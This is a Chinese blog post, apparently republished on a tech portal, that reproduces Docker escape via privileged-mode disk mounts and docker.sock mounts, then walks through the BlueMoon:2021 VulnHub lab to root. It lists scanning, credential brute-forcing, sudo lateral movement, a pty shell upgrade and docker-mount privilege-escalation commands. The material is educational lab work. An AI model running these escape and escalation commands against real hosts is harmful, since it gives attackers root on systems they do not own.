IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> 从Docker挂载逃逸原理复现分析到BlueMoon实战 -> 正文阅读

[系统运维]从Docker挂载逃逸原理复现分析到BlueMoon实战

Docker逃逸

 什么是Docker

 Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux或Windows操作系统的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。正因为docker属于沙箱机制,所以当获得docker容器的权限时与获得宿主机权限是两个概念。

 Docker逃逸

  • 配置不当引起的docker逃逸

docket remote api未授权访问导致逃逸

特权模式逃逸

挂载敏感目录

  • 内核漏洞提权实现逃逸(针对Linux内核利于dirtycow、dirtypipe等)

  • Docker本身漏洞(CVE)

    CVE-2019-5736

    CVE-2019-14271

 这里主要测试挂载卷造成的逃逸

 挂载敏感目录逃逸之特权模式挂载逃逸

 实验环境:ubuntu16.04 ,docker 版本 20.10

service docker status

 docker的状态是开启的,未安装docker需要安装

 特权模式下启动一个容器

docker run -it --privileged ff6f /bin/bash

 查看docker容器磁盘文件

fdisk -l

 正常环境安装的时候也都会创建磁盘文件,所以这些目录下会有很多文件

ls /dev

 创建一个目录名为"test",名字任意创建

mkdir test

 此时test目录下无任何文件,将/dev/sda1挂载在test目录下

mount /dev/sda1 /test

 查询test目录

 此时例如home等目录下是没有任何文件的

 将amazing写入/test/home/1.txt

echo "amazing" >/test/home/1.txt

 此时宿主机home,目录下是存在1.txt文件的

 挂载敏感目录逃逸之docker.sock 挂载

 Docker架构相当于C/S架构,docker.sock就是docker中套docker,docker的client和server的通信模式参考

https://www.jb51.net/article/99019.htm

 因为确实找不到什么比较官方或者正式的介绍,华为云的介绍只是介绍了网络通信模式

 socket的连接方式有三种

unix:///var/run/docker.sock
tcp://host:port
fd://socketfd

 利用docker.sock逃逸的前提条件

  • 攻击者获得了 docker 容器的访问权限

  • 容器已安装/var/run/docker.sock

 使用挂载实现docker.sock,拉取一个镜像ubuntu16.04

docker pull ubuntu:16.04

 查看镜像

docker images

 运行一个挂载/var/run/的容器

docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash

 进入docker容器内

apt-get install docker.io

 这个时候安装可能报错

 更新源

apt update

 更新源之后重新安装docker,因为拉取的ubuntu内未安装docker或者可能是docker版本过老

apt-get install docker.io

 查看宿主机信息

docker -H unix://var/run/docker.sock info

 利用docker.sock再创建一个docker容器,挂载/var/run

docker -H unix://var/run/docker.sock run -v /:/test -it ubuntu:16.04 /bin/bash

 此时查看test目录下可看到宿主机文件文件

 实现逃逸。这里本来打算使用alpine镜像,这里说说什么是alpine镜像

alpine(https://www.alpinelinux.org/)是一个官方推荐的基础镜像,大小5MB,相对于ubuntu的大小来说下载方便,但是拉取ubuntu镜像也比较方便。

 但是alpine在更新apk的时候,比较慢

 所以还是建议使用ubuntu,这里可以利用docker逃逸去复制宿主机的source.list更换源,可能会快一点。

 原理

 过程可分为两部分

  • 文件写入

    将数据写入文件,它可用于执行特权写入或在受限文件系统之外写入文件,通过将文件复制到临时容器并返回到主机上的目标位置来写入文件。

CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp)
echo "DATA" > $TF
docker cp $TF $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF file_to_write
  • 文件读取

    它从文件中读取数据,它可用于进行特权读取或在受限文件系统之外公开文件,通过将文件复制到临时容器并返回到主机上的新位置来读取文件。

    CONTAINER_ID="$(docker run -d alpine)"  # or existing
    TF=$(mktemp)
    docker cp file_to_read $CONTAINER_ID:$TF
    docker cp $CONTAINER_ID:$TF $TF
    cat $TF

 二进制文件设置了 SUID 位,会被滥用来访问文件系统、升级或维护特权访问作为 SUID 后门,上面那个复现过程实现了创建二进制文件的本地 SUID 副本并运行它以维护提升的权限,要与现有的 SUID 二进制文件交互,请跳过第一个命令并使用其原始路径运行程序,其最终结果是在容器B中实现了对宿主机权限的控制。

 BlueMoon简介

  • Name: BlueMoon: 2021

  • Date release: 7 Apr 2021

  • Author: Kirthik

  • Series: BlueMoon

 环境搭建

 攻击机kali

IP?192.168.158.39

 目标靶机Debian,ip地址未知,dhcp自动获取

 下载地址

https://download.vulnhub.com/bluemoon/bluemoon.ova

 导入虚拟机,官网描述是使用vb,但是vmware可以导入,然而出现问题获取不到网卡

 信息搜集

netdiscover -n 192.168.248.39/24

 我使用搞得热点比较容易确定目标靶机,扫描端口

nmap -A -p- 192.168.158.250

 开放三个端口21,22以及80

 扫描目录,指纹识别,既然是靶场要考虑到21端口是不是匿名用户或者22和21端口是否能爆破,直接对21和22端口爆破并未有结果,也可能是字典的问题,但是换了几个字典确实没用,扫描目录使用dirsearch扫描目录,内置字典并不能扫描出结果,换字典

python3 dirsearch.py -u "http://192.168.158.250" -e *

 访问是个二维码,扫描的内容

#!/bin/bash HOST=ip USER=userftp PASSWORD=ftpp@ssword ftp -inv $HOST user $USER $PASSWORD bye EOF

 获取flag

 ftp的账号密码

userftp/ftpp@ssword

 工具连接或者命令行都可

 在information.txt中告诉了,p_list.txt为密码字典,用户名为robin,

 上级目录中有jerry中有个用户名的txt,但是无法查看文件,使用robin用户爆破

 账号密码

robin/k4rv3ndh4nh4ck3r

 ssh登录

ssh robin@192.168.158.250

ls

cat user1.txt

 使用命令

sudo -l

 告诉了jerry权限可以执行/home/robin/project/feedback.sh

 横向提权

sudo -u jerry /home/robin/project/feedback.sh

jerry

/bin/sh

 当前用户为jerry,这个时候我们就可以读取前面不能读取的user2.txt,因为这个时候在home/robin,所以切换用户目录读取或者直接读取文件

 垂直提权

 给出提示使用find继续提权到root,所以这里应该的考点就是suid提权了,因为不是交互式的shell使用起来不方便,所以使用python获取交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

 查询是否有suid权限的文件

find / -perm -u=s -type f 2>/dev/null

find /usr/bin/passwd -exec "/bin/sh" \;

 无果,,,,纳闷儿了

docker images

docker ps

 镜像没起起来,搜索一下才知道这里需要使用镜像挂载来进行提权

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

 此时已经为root权限,读取根目录下的root.txt

 结语

 这个靶机有点儿不怎么有好的地方在于对于字典的要求比较高,难点在于使用镜像挂载提权,这里可参考文章应该是讲镜像挂载原理比较清晰的文章吧。

 更多靶场实验练习、网安学习资料,请点击这里>>

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-04-28 12:14:41  更:2022-04-28 12:17:29 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 20:04:17-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码